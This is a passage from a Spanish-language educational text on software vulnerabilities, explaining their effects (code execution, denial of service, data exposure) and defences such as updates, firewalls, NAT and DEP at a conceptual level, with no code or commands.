Aquí de nuevo vemos la gran diferencia entre un hacker de verdad y un simple Script Kiddie. Aunque actualmente existen herramientas para generar el shellcode deseado para cualquier plataforma, un buen hacker estaría capacitado para crear en un momento dado el shellcode necesario y por descontado comprender y modificar cualquier shellcode generado. Un script Kiddie sabría que es un shellcode y como generarlo en todo caso, sin tener la menor idea de que significa esa cadena de valores. Evidentemente dudo mucho que a día de hoy existan muchas personas que sepan de memoria el juego de instrucciones completo y actual de Intel. Hablamos de cientos de instrucciones si es que no llegan al millar, hablamos del “mamotreto” oficial de Intel de su juego de instrucciones, que son a día de hoy 1643 páginas.

Evidentemente la ejecución de código arbitraria no es exclusiva de las vulnerabilidades remotas, y pese a lo que se pueda pensar, un exploit local que permite la ejecución de código arbitrario puede ser realmente útil, por poner un ejemplo imaginar un exploit que afecte a Acrobat Reader y permita ejecución de código arbitraría en el equipo que abriese un documento PDF maléficamente creado. El resultado sería que la víctima al abrir el documento PDF haría que su Acrobat vulnerable cayese en la trampa de ejecutar en ese preciso momento el código malicioso del hacker, que podría ser tanto una Shell inversa como por ejemplo la instalación de una puerta trasera en el equipo. El hacker tan solo tendría que enviar sus documentos PDF por correo o por cualquier otro método a sus víctimas, ¿y quien va a pensar que un PDF puede ser en sí un caballo de troya (y nunca mejor dicho)? La imaginación es el límite para el hacker.

 

Denegación de Servicio (DoS)

 Las siglas DoS o DDoS (Denegación de servicio distribuida) son en los tiempos que corren bastante conocidas, rara es la semana que no se lee en la prensa que un grupo de exaltados y delincuentes han realizado un ataque de denegación de servicio contra un servidor tal, el cual han dejado inutilizable durante cierto tiempo. La denegación de servicio se produce cuando un servicio/software/sistema degrada o incluso detiene por completo su funcionamiento debido generalmente al agotamiento de los recursos disponibles para dicho servicio/software/sistema. De nuevo, el cómo pertrechar este tipo de ataques se verá más adelante, aquí tan solo veremos a groso modo el efecto que produce. La ventaja de los ataques DoS es su facilidad de llevarse a cabo, sobre todo los DDoS, que simplemente son DoS en el que participan varias fuentes emisoras del ataque.

Normamente cuando se habla de DoS nos solemos referir al bloqueo de un servidor web/dns que ha sido llevado a cabo gracias a la participación de cientos o miles de personas (generalmente redes de robots botnets). Pero un DoS no es algo exclusivo a servidores, y en realidad cualquier software puede sufrir de un DoS. Para que cualquier programa pueda estar ejecutándose de forma normal, debe de disponer una serie de recursos a su disposición, como pueda ser Memoria Virtual (RAM y HDD), interrupciones, flujos de datos de entrada y salida, lecturas y escrituras de disco, procesador… si algún recurso, crítico para la aplicación, se agota, el propio sistema es el que casi con toda posibilidad finalice el programa en cuestión para que la extenuación no pueda afectar al resto del sistema. Pensar en un programa que nada más ejecutarse comienza a reservar memoria sin parar… llegará un momento en el que agote la memoria del sistema!! Si es un buen sistema, este resolvería el conflicto o denegando más memoria a dicha aplicación o en el peor de los casos finalizando el proceso y liberando la memoria consumida. En el peor de los casos el proceso consumiría la RAM del sistema y este tendría que comenzar con uso intensivo de memoria virtual, lo que produciría una degradación e incluso bloqueo de todo el sistema. En cualquier caso, fuese el OS el que finalizase el proceso o el sistema mismo el que degradase su propio rendimiento, estaríamos ante un DoS

Por desgracia, es muy fácil provocar un DoS en un software, aunque solo repercuta en el reinicio de dicho programa o su bloqueo temporal.

 

Acceso a información restringida

 No está relacionado directamente con la escala de privilegios. Con acceso a información restringida nos referimos a que gracias a una vulnerabilidad el hacker podría acceder a datos que de otro modo les sería imposible, como por ejemplo el acceso o robo de una base de datos o ganar el acceso a un servidor sin tener siquiera que ser un usuario autentificado de dicho sistema. Normalmente esto es lo que buscan la mayoría (no todas) de las vulnerabilidades de verificación de datos, como pueda ser la inyección SQL o el path traversal por ejemplo.

Evidentemente lo mejor que podría lograr un hacker sería una ejecución arbitraria de código, pero muchas veces no es necesario si lo que se desea es obtener un dato o conjunto de datos concretos que pueden ser extraídos de otros modos menos intrusivos, más silenciosos y muchas veces muy ingeniosos. No hay que ver las causas y efectos de las vulnerabilidades como un ranking en el que unas se tapan a otras, sino como un gran abanico de armas que un usuario malintencionado tiene a su alcance para lograr su tarea. Y la lógica y la experiencia nos dice que antes o después el sistema atacado cae si se le pone el empeño suficiente, aunque muchas muchas veces la solución viene de vulnerabilidades simples. A lo mejor un servidor puede ser realmente fuerte contra ataques clásicos de denegación de servicio y tener unas fuertes políticas de actualización de software que hacen que un exploit de ejecución remota sea muy complicado obtenerlo… pero a lo mejor a los programadores se les olvidó algún pequeño detalle en la programación PHP que gestiona la base de datos, detalle que puede aprovechar el hacker para obtener a lo mejor de la base de datos un listado completo de los usuarios y contraseñas de dicho servidor.

Hay que tener en cuenta que cualquier programador o administrador de sistema es humano, y que por muy cuidadoso que sea es muy muy complicado el tapar el 100% de todos los agujeros por los cuales se podría teóricamente colar un usuario para obtener esa información restringida. Le sorprendería a más de uno lo simple que puede resultar obtener del servidor atacado el archivo “passwd” (el archivo en el que Linux guarda los usuarios y contraseñas del sistema), y dado que de nuevo la gran mayoría de empresas, organizaciones… poseen unas políticas de contraseñas casi inexistentes, dichos archivos suelen ser muy simples de revertir. Un mal saneamiento en el código PHP, un error en código JS, en la configuración del servidor… y de seguro que habrá alguien al otro lado que sabrá hacer buen uso de ese descuido para machacar como desee dicho servidor.

 

Además de la ejecución de código remota, la denegación de servicio o el acceso a información restringida, existen otros tantos efectos produciros por las vulnerabilidades, lo que sucede es que generalmente estos efectos están totalmente asociados a la vulnerabilidad que los produce. Es decir, un desbordamiento de buffer puede producir tanto la ejecución de código remota como un ataque de denegación de servicio, mientras que el objetivo que persigue una vulnerabilidad de escala de privilegios es precisamente eso… una escala de privilegios. Lo mismo sucede con algunas vulnerabilidades de validación de datos como la inyección email.

 

 

Defensas ante las vulnerabilidades y como evitarlas

 

Al contrario que el malware cuya responsabilidad recae totalmente en el usuario, las vulnerabilidades no dependen directamente del usuario. Como tales, son responsabilidad de los programadores, de los ingenieros, de las organizaciones que crean los estándares… a priori son totalmente inevitables desde el punto de vista del usuario. ¿Pero del todo? En realidad el usuario no es el responsable de que una vulnerabilidad le afecte, él puede presuponer erróneamente que todo el software es perfecto y que todo funcionará siempre como tiene que funcionar. Claro que eso es en la teoría, en la práctica sabemos que esto no se cumple de ninguna de las maneras, por tanto sí que el usuario puede hacer algunas cosas para amortiguar los efectos de estas.

Actualmente existen algunas medidas o defensas si se prefieren llamar antes las vulnerabilidades. Pero antes de entrar en ellas hay que dejar muy claro que la eficacia de estas son siempre relativas, y cualquier defensa o medida que se pueda tomar para evitarlas puede ser circunvalada. No quita que sean del todo inefectivas, pero sí es cierto que no por tomarlas al pie de la letras todas ellas vamos a tener un equipo totalmente seguro contra las vulnerabilidades. Entre todas las medidas que existen (que son sin duda alguna pocas), podríamos clasificarlas como activas o pasivas en función de si requieren intervención directa del usuario o no.

 

Actualizar, Actualizar, Actualizar

 El arma más efectiva que cualquier usuario podrá tener en sus manos para defenderse de los fallos de seguridad… actualizarlos. La mayoría de las compañías serias de Software es algo que se toman relativamente en serio, y no es raro ver como periódicamente sacan actualizaciones de software, mucha de las cuales no son para añadir funciones o mejorar la experiencia, la gran mayoría de ellas van encaminadas a tapar los fallos de seguridad que se van descubriendo. Cuanto más crece el software o más complejo es, es más normal el tener ciclos de actualizaciones más cortos, actualizaciones automatizadas, compatibilidad con las medias de seguridad del sistema… y dada la importancia sobre todas las vulnerabilidades de las explotaciones remotas, aquel software que tiene una interacción directa con Internet será el software a tener más en cuenta a la hora de actualizarlo. No hay que olvidar que el software más importante a la hora de actualizar en cualquier dispositivo es el sistema operativo por su puesto!!

El objetivo de actualizar es evidente, si existe el fallo de seguridad X en el software que sea y dicho software posee un parche o actualización para corregir dicho fallo de seguridad, un hacker no podrá hacer uso de dicha vulnerabilidad/fallo de seguridad si ya ha sido corregido en el software que tenemos instalado. Cuanto más actualizado esté nuestro software, en teoría tendremos menos posibilidades de sufrir un ataque que explote alguna vulnerabilidad de nuestro dispositivo. Evidentemente todo suena demasiado bueno para ser verdad, y alguien podría caer en el tremendo error de creer que simplemente actualizando el software de su equipo de cuando en cuando estaría totalmente cubierto.

Las actualizaciones como método para protegerse de los exploits/ataques delos hacker tiene tres problemas principalmente, y tan solo uno de los 3 tiene solución. El primero sería la paradoja del huevo y la gallina, el segundo las políticas de empresas y el tercero las buenas o malas prácticas del usuario.

La paradoja del huevo y la gallina la conocemos todo: “Que fue antes, ¿el huevo o la gallina?”. Con las vulnerabilidades ocurre lo mismo. Que aparece antes, ¿el exploit/fallo de seguridad publicado o el parche de seguridad para corregirlo? Actualmente existen un par de bases de datos de referencia en las que se recogen la mayoría de los fallos de seguridad descubiertos hasta la fecha. La CVE (Common Vulnerabilities and Exposures) y la OSVDB (Open Source Vulnerability Database). Cualquier usuario podría acudir a cualquiera de ellas para informarse de los últimos informes públicos, que tampoco quiere decir que se recojan la totalidad de vulnerabilidades existentes, pero si es un buen punto de partida. Lo que quiere decir todo esto es que incluso un Script Kiddie podría acceder a estas bases de datos, informarse de algún fallo de seguridad de algún software y buscar un exploit para él. La preguta del millón y lo que nos lleva a la paradoja de la gallina y el huevo sería si las empresas/organizaciones/particulares del software vulnerable sacan los parches una vez que ya ha sido publicada dicha vulnerabilidad, con lo que existe una gran probabilidad de que dicho fallo de seguridad haya sido aprovechado en cientos o miles de equipos, o si por el contrario el exploit o fallo de seguridad se ha conocido a raíz de que la propia empresa publicase la vulnerabilidad junto con el parche para evitarla. Pues en este caso, a veces es la empresa la que actúa primero, y otras veces son los terceros los que actúan primero, y es por ellos por los que las empresas se ven forzadas a lanzar el parche de actualización.

Por otro lado he dicho las políticas de empresas, y esto es un problema muy muy grande. Muchas empresas, como por ejemplo la misma Apple, cree que lo mejor ante una vulnerabilidad es no decir nada, no darse prisa en parchearla, no darle la menor importancia hasta que se tenga constancia de que dicha vulnerabilidad ha sido ya explotada. El problema es que cuando se sabe fehacientemente que dicha vulnerabilidad ha sido utilizada, es porque han caído miles y decenas de miles de equipos. Estas empresas, en la que sin duda alguna repito Apple es especialista, creen que si no lanzan un boletín de seguridad explicando los fallos de seguridad encontrados en la semana (por ejemplo), no se podrán crear exploits para dichas vulnerabilidades. Bien, esto es cierto para los Script Kiddies, para los hackers estas prácticas es algo así como el azúcar o la cafeína que necesitan para poder hacer el mayor daño posible. Al otro lado de la baraja tendríamos la comunidad open Source, en el que el software es de código abierto. Esto evidentemente puede verse a priori como un riesgo para la seguridad de dicho software, ya que TODOS pueden ver el código y buscarle todos los fallos de seguridad posible. En cambio la práctica nos dice que precisamente el software open source suele ser en términos generales el más seguro, precisamente porque es revisado con mayor escrutinio, pero es también el que más se actualiza. En este sentido, la mejor empresa (de software privativo por supuesto) con la mejor política frente a estas amenazas es Microsoft por mucho que parezca extraño. Microsoft publica mensualmente y sin falta sus boletines de seguridad el mismo día de la semana desde años. En esas actualizaciones/boletines se parchea cualquier vulnerabilidad (y otras actualizaciones que nada tienen que ver con las vulnerabilidades) que haya sido descubierta tanto por MS como por terceros. Si la vulnerabilidad se ha clasificado como crítica, el boletín de seguridad suele llegar a Windows Update en cualquier momento, generalmente en cuanto la actualización está lista, sin necesidad de esperar a la publicación estándar.

Las políticas del propio usuario serían igual de importante. No todos los software disponen de procedimientos para actualizaciones automáticas programadas como por ejemplo Windows o Firefox, la mayoría del software de echo no dispone de estos procedimientos, y generalmente es el usuario quien tiene que tomarse la molestia de actualizar su software (generalmente esto excluye a Linux). Si tenemos un servidor en el que tenemos instalado por ejemplo un servidor web Apache y se descubre una vulnerabilidad que afecta a la versión Apache que tenemos instalada, por mucha prisa que se diese la fundación Apache en lanzar la actualización hasta que el administrador de dicho servidor no quisiese instalar dicha actualización el servidor sería vulnerable. Es decir que muchas veces (la mayoría posiblemente) es el usuario el que por desgana, por desconocimiento o por cualquier otra razón no mantiene actualizado el software de su equipo. Esto que lo haga un particular mal está, pero que lo haga un administrador de una PYME/empresa/organización… es algo casi sacrílego. Una cosa es que los administradores de sistemas sean recelosos siempre de instalar nuevas versiones que puedan hacer que las aplicaciones que manejan dejen de ser compatibles y otros problemas similares, y otra cosa muy diferente es no parchear actualizaciones de seguridad. Aun así, siempre que se pueda, hay que mantener el software actualizado, aunque a veces ello implique alguna incompatibilidad, que por supuesto se deberá de solucionar. Por muchas actualizaciones que existan, si la persona a cargo no actualiza de nada sirven.

Desde el punto de vista del usuario, no puede hacer nada por el primer problema o el segundo, ya que depende exclusivamente de las empresas y programadores en los que pone su confianza, pero al menos si puede hacer frente al tercer problema, y es donde hay que hacer mucho mucho hincapié, porque la mayoría de los usuarios no es consciente del problema que tiene entre manos. Un ejemplo real de hace unas semanas. Esto es extrapolable a cualquier dispositivo portátil por supuesto, pues bien, cuando sale en los medios una vulnerabilidad crítica por ejemplo de iPhone, que por medio de un PDF se puede obtener el control total de este, nadie parece afectarle demasiado, asegurando que en unos días a mucho tardar Apple lanzaría una actualización. Aquí automáticamente entran en juego los tres problemas anteriormente explicados. Primero, la paradoja del huevo y la gallina nos está diciendo que si la noticia está saltando ahora a la prensa, dicha vulnerabilidad existe ya en los círculos hacker desde hace meses!! Esto quiere decir que desde hace meses hasta la fecha de la comunicación a los medios cualquier hacker ha podido hacerse con el control de cualquier iPhone por medio de esta vulnerabilidad. En segundo lugar, la política de empresa por muy buena que sea (y la de Apple en este aspecto es casi la peor), hará que la actualización esté lista aun con muchos días por delante aun, lo cual implica que incluso haciéndose pública la noticia de la vulnerabilidad, Apple no dispondrá una actualización hasta pasadas unas semanas!! Es decir, a los meses en los que la vulnerabilidad tan solo era conocida para el mundo hacker ahora le sumamos las semanas o meses que pueda tardar Apple en lanzar la actualización, con lo que implica además que los Script kiddies y otros estarán al tanto de dicha vulnerabilidad dado que ha salido hasta en la prensa. Pero para colmo de males está la política de actualizaciones del usuario, la cual nos dice que aunque Apple lance la actualización semanas o meses después desde el comunicado a la prensa, el usuario a lo mejor no actualiza su dispositivo con esa versión hasta semanas, meses e incluso años!! Lo que hace que sea todo ello un caldo de cultivo para cualquier hacker.

Por culpa de los tres puntos citados, incluso una vulnerabilidad supuestamente antigua puede afectar a un número increíblemente grande de dispositivos. Muchas veces no hace falta una vulnerabilidad tipo Zero-Day (es decir, una vulnerabilidad nueva no publicada) para tomar el control de un equipo, y simplemente usando un exploit con años de antigüedad se puede lograr el asalto por culpa del administrador de ese sistema o por culpa de que la empresa no lanzó en su día una actualización para dicho fallo de seguridad. Lo peor de todo ello es que esto puede sonar un poco a ciencia ficción, pero la realidad es que todo esto está pasando ahora mismo en cientos de miles de equipos de todo el mundo.

De todos modos, en el mejor de los casos de que las compañías sean totalmente honestas y tengan ciclos de actualización muy regulares y el usuario sea un extremista de la seguridad, no se está exento de problemas. Como ya he nombrado, las vulnerabilidades tipo Zero-Day son constantes. Un buen hacker podrá casi con total seguridad estudiar un sistema el tiempo necesario para lograr encontrarle el fallo de seguridad necesario para llevar a cabo sus planes, sin necesidad de acudir a un boletín de seguridad o a alguna vulnerabilidad ya publicada, será el quien la descubra, la aproveche y la guarde en su cajón, a fin de cuenta si nadie se da cuenta de ella o quienes se dan cuenta de ella no la hacen pública, este hackers u otros podrán explotarla a su voluntad por meses o años que pasen. Eso evidentemente nos está diciendo que las mejores vulnerabilidades no son precisamente las que se publican, y que en el arsenal de un buen hacker siempre hay alguna que otra sorpresa desagradable para los programadores. Si un buen hacker quiere atentar contra el navegador Safari por ejemplo, lo mejor que puede hacer es coger la última versión de este y sacarle todos los fallos de seguridad que pueda. Si a lo mejor posee 10 vulnerabilidades capaces de realizar ejecución remota, las guardará. Quizás con el tiempo Apple parchee algunas de ellas, pero si posee 10 y le tapan a lo mejor 3, aun dispondrá de 7 puertas para hacer y deshacer a su antojo. Pues bien, esto es lo que pasa a groso modo en los concursos de seguridad como el Pwnt2Own, los expertos van con más de una sorpresa bajo la manga. Si en el momento de la exposición dichos fallos aún no han sido tapados, el experto podrá con suerte llevar a cabo su “castigo” contra el navegador+Sistema Operativo objetivo. Por supuesto, en todo lo que se está hablando hasta ahora se presupone que el sistema operativo no pinta nada en ello, pero como veremos más adelante los hackers no solo se tienen que enfrentar a la meticulosidad de los programadores del software atacado, sino que se las tendrá que ver con el propio Sistema operativo.

Al igual que como se llama este pequeño apartado, lo recalco de nuevo, lo aconsejo y lo graparía en la frente de cualquiera: Señores, Actualizar el software, instalar siempre las actualizaciones de seguridad, no dejarlo todo en manos del destino, ACTUALIZAR, ACTUALIZAR, ACTUALIZAR. Jamás pensar que si no se ha lanzado una actualización significa que no hay vulnerabilidades, simplemente que el propietario del software no la ha publicado.

 

Firewalls

 Sobre los cortafuegos podríamos dedicar todo un volumen completo a ellos y posiblemente aun así nos quedaríamos cortos. ¿Qué tiene que ver un Firewall en las vulnerabilidades? Bueno pues depende del tipo de vulnerabilidad que tengamos entre manos, si no es una vulnerabilidad remota poco o nada tiene que ver con todo esto, en cambio si hablamos de vulnerabilidades remotas, el Firewall será una pieza casi esencial.

Los Firewall son piezas de software/hardware que vigilan el tráfico de red que sale y entra de un equipo/sistema. Si un Firewall se configurase en un momento dado como bloqueo total de conexiones entrantes y salientes, los equipos detrás de él estarían totalmente protegidos de cualquier ataque exterior. Evidentemente bloquear totalmente las conexiones entrantes y salientes no es que sea algo muy común. La cuestión es que si el Firewall es el vigilante de todas las comunicaciones de red, en él recaerá el papel imprescindible de monitorizar de algún modo ese tráfico de datos que pudiese ser en un momento dado un ataque externo. Esto podría ser casi la panacea contra cualquier vulnerabilidad remota, el problema es que los Firewall siempre están sometidos a las necesidades del equipo o equipos que tiene detrás de él. No es lo mismo la configuración y las políticas de seguridad que puede poseer un Firewall para proteger equipos domésticos que servidores que grandes redes empresariales. Esto hace que muchas veces los Firewalls tan solo sean capaces de impedir cierto tipo de amenazas. No es que no puedan bloquear otro tipo de amenazas, solo que normalmente no es factible, o simplemente imposible para el entorno que necesitamos.

Así, los Firewall poseen digamos dos configuraciones “básicas”, que dependen en primera instancia de si lo que tenemos detrás de uno de ellos es un equipo llamemos doméstico o un servidor.

Por regla general cualquier Firewall doméstico (la mayoría de puertas de enlace residenciales lo son), posee dos medidas de protección que ya de por sí logran filtrar una gran cantidad de ataques externos: NAT y el bloqueo de conexiones entrantes. NAT en sí mismo hace las funciones de Firewall muchas veces, pero este efecto es secundario. NAT lo que logra hacer en estas puertas de enlace residenciales es que la misma IP pública que nos da el ISP pueda ser compartida por todos los demás equipos de la red interna. Para realizar esto, NAT funciona en uno de sus modos de operación, generalmente en Full NAT o Cone NAT port restricted. Dado que esto fue detallado en otro tema, aquí no vamos a entrar en detalle, pero digamos que el efecto que produce es que ningún equipo exterior puede iniciar ninguna conexión con ningún equipo interior sin que este la haya solicitado anteriormente. Del mismo modo, las políticas de los Firewalls por defecto en este tipo de dispositivos hace lo mismo, bloquear por defecto todas las conexiones entrantes no solicitadas al router. A veces es el Firewall del router el que crea un NAT y a veces es un dispositivo NAT el que actúa de Firewall, pero el comportamiento es similar.

La idea detrás de estas políticas de seguridad es evidente. Un equipo doméstico en el 99% de las veces de todas las conexiones que realiza son a equipos remotos (peticiones web, peticiones a servidores DNS o de correo electrónico, Telnet, FTP en modo pasivo…), y como tales son conexiones salientes. Evidentemente las conexiones TCP son bidireccionales, es decir que aunque un equipo inicie la conexión el otro también se comunicará con el cliente, pero esto no es un problema ya que lo que se filtra de nuevo son las conexiones NO SOLICITADAS. Es decir, si queremos ver la web de Google lanzamos una petición a sus servidores, esta es devuelta a nuestro router y este verifica que efectivamente nuestro equipo había lanzado una petición a dicho host por dicho puerto, y por ello nos reenvía la información recibida del servidor de vuelta a nuestro equipo. Pero si por cualquier anomalía el servidor de Google quisiese enviar su web a nuestro router sin que este la hubiese solicitado, dicho flujo de información quedaría totalmente filtrado por el Firewall. Este comportamiento ya de por sí no está exento de problemas, y todos sabemos que es lo que sucede muchas veces: “Tenemos que abrir puertos”. Precisamente el abrir puertos es una consecuencia directa a este comportamiento!! Cuando una aplicación que tenemos en el equipo requiere de la apertura de un puerto, es debido a que dicha aplicación puede recibir datos externos en cualquier momento sin que dicha conexión hubiese sido solicitada anteriormente!! Este es el caso de los programas P2P, juegos online, servidores de cualquier tipo (ftp, correo, web…)… para que el Firewall no filtre dichas peticiones, se le instruye para que deje pasar al equipo concreto de la red dicha información.

Desde el punto de vista no obstante de un Servidor, un Firewall actúa normalmente de forma muy diferente, ya que este sí tiene que permitir la comunicación de ciertos servicios. Un servidor web por ejemplo no puede filtrar las conexiones entrantes a su puerto 80, dado que entonces dudosamente sería un servidor web. Pero posiblemente dicho servidor requerirá también una serie de servicios extras comunes, como por ejemplo el no bloqueo de las solicitudes ICMP ping (cosa que o pasa nada por filtrar en redes domésticas), habilitar el acceso a servicios como bases de datos, servidores proxy, servicios RDP para acceso remoto, VPN…

Pero en el caso de las conexiones salientes lo normal es encontrarnos el panorama contrario. Un equipo doméstico lo normal es que esté constantemente enviando peticiones al exterior y rara vez permitiendo conexiones entrantes. Por ello casi ningún usuario por riguroso o fanático que sea suele filtrar el contenido saliente. Es por una cuestión práctica, la lista de programas o conexiones salientes a permitir sería muy extensa: Navegadores web, programas de mensajería instantánea, gestores de correos, juegos, actualizaciones de cualquier programa, recursos en línea de los programas (cada vez más usados), acceso a bases de datos, telnet, ftp… la lista sería bastante bastante grande. Dado que la mayoría del problema suele ser las conexiones entrantes y a priori las conexiones salientes no suponen un problema (de nuevo, a priori), se optan por modelos de filtrar todo el contenido entrante y permitir el saliente.

Y en los servidores? Precisamente el caso contrario. Un servidor por regla general se configura de cara a esperar conexiones entrantes, en cambio conexiones salientes sin ser solicitadas muy pocas o ninguna. Esto quiere decir que la configuración básica de un servidor suele ser de filtrar el contenido saliente (permitiendo a dedo el que sí) y o permitir todo el contenido entrante o tener reglas bastante extensas sobre que tipo de contenido sí y que tipo de contenido no. Además, los Firewalls que tienen detrás servidores suelen tener políticas rigurosas para impedir ataques de denegación de servicio, ataques de fuerza bruta… medidas que normalmente limitan a cierto número de peticiones por segundo las conexiones que vienen de un equipo concreto.

La relevancia con las vulnerabilidades es clara. Si se pudiese filtrar todas las conexiones maliciosas (tanto salientes como entrantes) generadas por los ataques de los hackers, se lograría suprimir el 100% de las vulnerabilidades remotas. Evidentemente esto sería en felizonia donde todo fuese perfecto, en la vida real no es así. En la vida real los hackers saben de sus amigos los Firewalls, y existen medidas para sortearlos. La forma más habitual es la que comentamos cuando explicábamos a groso modo un Shellcode. Generalmente los firewalls domésticos están preparados para denegar las conexiones entrantes, pero un exploit se puede inyectar de muchas formas. Por ejemplo, si se trata de un exploit de un navegador, se hace que el navegador caiga en una web trampa, con lo que la comunicación la estaría iniciando el equipo remoto y no el hacker, el Firewall ni se coscaría. Si el exploit afecta a un servidor de FTP sería lo mismo, este permitiría como tal las conexiones entrantes a ese servicio y por tanto el exploit sería viable. El problema aparece no una vez lanzado el exploit, sino con el tipo de código que se ha inyectado, el cual generalmente es un shellcode o un programa para acceso remoto. Este programa inyectado por así decirlo, debe de permanecer con el tiempo en el equipo afectado, no solo en el momento de la inyección del código y su ejecución. Tradicionalmente, los firewall eran una pesadilla para estos, dado que estas shellcode o programas funcionaban actuando como servidores, es decir permanecían a la escucha de conexiones entrantes, con lo que cualquier firewall filtraba generalmente cualquier posible comunicación con ellos. Entonces se optó por el uso de las conexiones inversas. Las conexiones inversas funcionan igual, solo que es el equipo o servidor del hacker el que actúa de servidor a la espera de conexiones entrantes, y es el equipo remoto el que una vez afectado por el exploit inicia la comunicación con el equipo dele hacker. Dado que en este caso son conexiones salientes, lo normal es que los Firewall no se den cuenta de lo que está pasando.

Las conexiones inversas sin embargo tienen pequeñas incomodidades. Primero, el hacker tiene que preparar su red para aceptar las conexiones a su programa que haga de servidor, y dejar constantemente su software a la escucha de dichas conexiones, o de lo contrario el hacker tendría el mismo problema que el host atacado con las conexiones directas. Por otro lado, codificar una shellcode inversa ocupa más que un shellcode directo, y siempre es preferible usar la mínima cantidad de bytes posibles para llamar menos la atención. Por último, en este caso el hacker no podrá jamás iniciar la conexión, dependerá en todo momento de que el cliente inicie la conexión. Esto normalmente se hace haciendo que el software inyectado en el cliente esté cada pocos segundos reintentando la conexión remota, con lo que se hace más “ruido” que una conexión puntual.

Otra arma habitual de los Firewalls es detectar directamente ataques comunes, como precisamente conexiones cuyo tráfico de datos concuerda con el patrón de una shellcode. Lo que sucede es que igual que esto es fácil de detectar por un firewall o un Antivirus, es igualmente sencillo por un hacker recodificar su shellcode de incluso un millón de formas diferentes para evitar la detección. Esto es algo muy habitual, el crear una shellcode que no pasa las medidas de seguridad del equipo remoto, se recodifica y al segundo o tercer intento se tiene éxito.

Los Firewalls no son inservibles, pero siempre hay que intentar en la medida de lo posible no dejarles agujeros de seguridad del tamaño de balones de baloncesto. Nunca abrir puertos que no se necesitan, nunca habilitar servicios que no se usen, usar detectores de escaners, bloquear las peticiones de ICMP entrantes, habilitar reglas delimitadoras de conexiones por segundo por host… todo ello aunque no exime de estar a salvo, de nuevo pone las cosas más complicadas, haciendo que al menos el atacante tenga que molestarse en probar técnicas más eficientes y que consumen más tiempo. Pensar que gracias a los Firewalls domésticos actuales, se evitan un sinfín de exploits increíbles, y que el usuario no es consciente de ellos. Si ahora mismo todos los equipos domésticos se conectasen directamente a internet sin Firewall ni puertas de enlaces residenciales, atacar cualquiera de ellos sería un juego de niños, al día siguiente aparecería en prensa algún exploit/malware que se estaría propagando como la espuma, sobre todo en equipos más antiguos como Windows XP o como MAC OS X (desde Leopard a Lion). Así que aunque no seamos consciente muchas veces de las capas de protección que tenemos, muchas veces hace falta recordarlas, que porque se nos olviden no significa que no estén ahí y que estén realizando un papel importantísimo y esencial… y por tanto creo que es necesario no olvidarlas nunca. Firewalls? SI.

Como apunte… actualmente no creo que sea necesario el uso de Firewalls por medio de software de terceros. Tanto Windows, Linux y MAC OS poseen Firewalls integrados básicos que cumplen con la mayoría de las tareas necesarias, y el resto lo hace las puertas residenciales de los usuarios. En cambio si es muy preocupante su inexistencia en la mayoría de dispositivos portátiles. Igual que los equipos convencionales como portátiles o sobremesa generalmente se conectan a Internet por medio de puertas de enlace residenciales, los dispositivos portátiles que hacen uso de las redes 3G NO!!! Es decir, están conectados directamente a Internet. Esto provoca que asaltar cualquier dispositivo de este tipo sea infinitamente más sencillo. Por ejemplo, como demostré en el artículo de “Como controlar unos miles de iPhone de forma remota”, la seguridad nula por parte de Apple en iOS y la inexistencia de ningún tipo de Firewall siquiera básico hacía que mi ataque fuese a la par de simple efectivo. Por ello, encontrar una vulnerabilidad en un PC es complicado, pero explotarla es mucho más complicada… pero explotarla en un dispositivo con un iPhone es tremendamente sencillo, con el daño añadido que ocasiona, dado que son dispositivos con servicios muy golosos para un hacker, como GPS, conexione permanente por 3G, agenda, SMS, registros de llamadas, gestores de correo… pero es algo que parece no afectar al usuario doméstico… evidentemente por total desinformación. No quita que ante esto los Hacker se frotan las manos, y muestran anualmente en los concursos como el Pwn2OPwn o el Blak Hat lo simple que es tomar el control de este tipo de dispositivos, curiosamente sobre todo cuando estos son iPhone o MAC OS.

 

Data Execution Prevention (DEP)

 DEP fue una tecnología que se creó en los tiempos de Windows XP SP2 (implementada por Microsoft por primera vez, creo que antes incluso de Linux) y posteriormente mejorado y universalizado su uso, tanto en Windows como en el resto de sistemas operativos, incluso en los dispositivos portátiles. DEP tiene la finalidad de impedir o limitar en la medida de lo posible los efectos que puede causar las vulnerabilidades que afectan a la memoria del equipo, que como hemos visto serían los desbordamientos de Buffers o los punteros sueltos. Esto lo volveremos a ver más adelante en otros capítulos, y comprenderemos mejor el efecto que produce DEP.

DEP tiene dos modos de funcionamiento o implementaciones por así decirlo, puede tener una implementación simplemente basada en software, o puede tener una implementación basada tanto en software como en Hardware, que es la que posiblemente estemos usando la mayoría de los usuarios, aunque ellos no sean conscientes de ellos. Pero en ambos casos el funcionamiento de DEP y su modus de acción son similares.

Como hemos podido ver, el mayor riesgo que se puede tener es que un atacante logre la ejecución arbitraria de código en el equipo atacado, y como hemos visto por encima, ese código ejecutado generalmente es un código “inyectado” en el equipo objetivo gracias a la vulnerabilidad que sea, la cual hace que dicho código se ejecute en el proceso. Recordemos el shellcode expuesto. Pero a nadie se le escaba si ese código inyectado no deja de ser a fin de cuenta un pequeño programa, este debe de atenerse a las mismas reglas de cualquier otro programa!! Esto quiere decir que dicho código debe de estar en memoria antes de que sea ejecutado por el procesador… y aquí es donde entra en acción DEP. Por regla general como se verá en el capítulo sobre los desbordamientos de buffer y punteros sueltos, el código inyectado generalmente se logra colocar en el mismo espacio de memoria que ocupa el proceso vulnerable. Es decir que si el fallo de seguridad se explota en Chrome, cuando se inyecte el código malicioso casi con toda seguridad este se colocará en algún lugar del espacio de memoria que Chrome tenía reservado para sí mismo, y no en cualquier espacio de memoria del sistema de forma aleatoria. Esto se debe a que en Windows (en los otros OS es muy similar) usa un sistema de memoria plana y memoria virtual, el cual hace que cuando se ejecuta una aplicación, esta posee un espacio de memoria propio lineal de 4GB si es un proceso de 32 bits y 128TB (si la memoria no me falla) en procesos de 64bits. Esto no tiene nada que ver con la memoria del sistema ojo, cada proceso tiene su propio espacio dentro de la memoria virtual, y el tamaño de este espacio de memoria lineal dependerá evidentemente de la memoria que necesite el proceso, y si es necesario incrementarla se incrementará. En cualquier caso (aquí no estamos explicando hoy el funcionamiento de la RAM del sistema), la cuestión es que el código inyectado va a parar generalmente al espacio de memoria reservado por la aplicación.

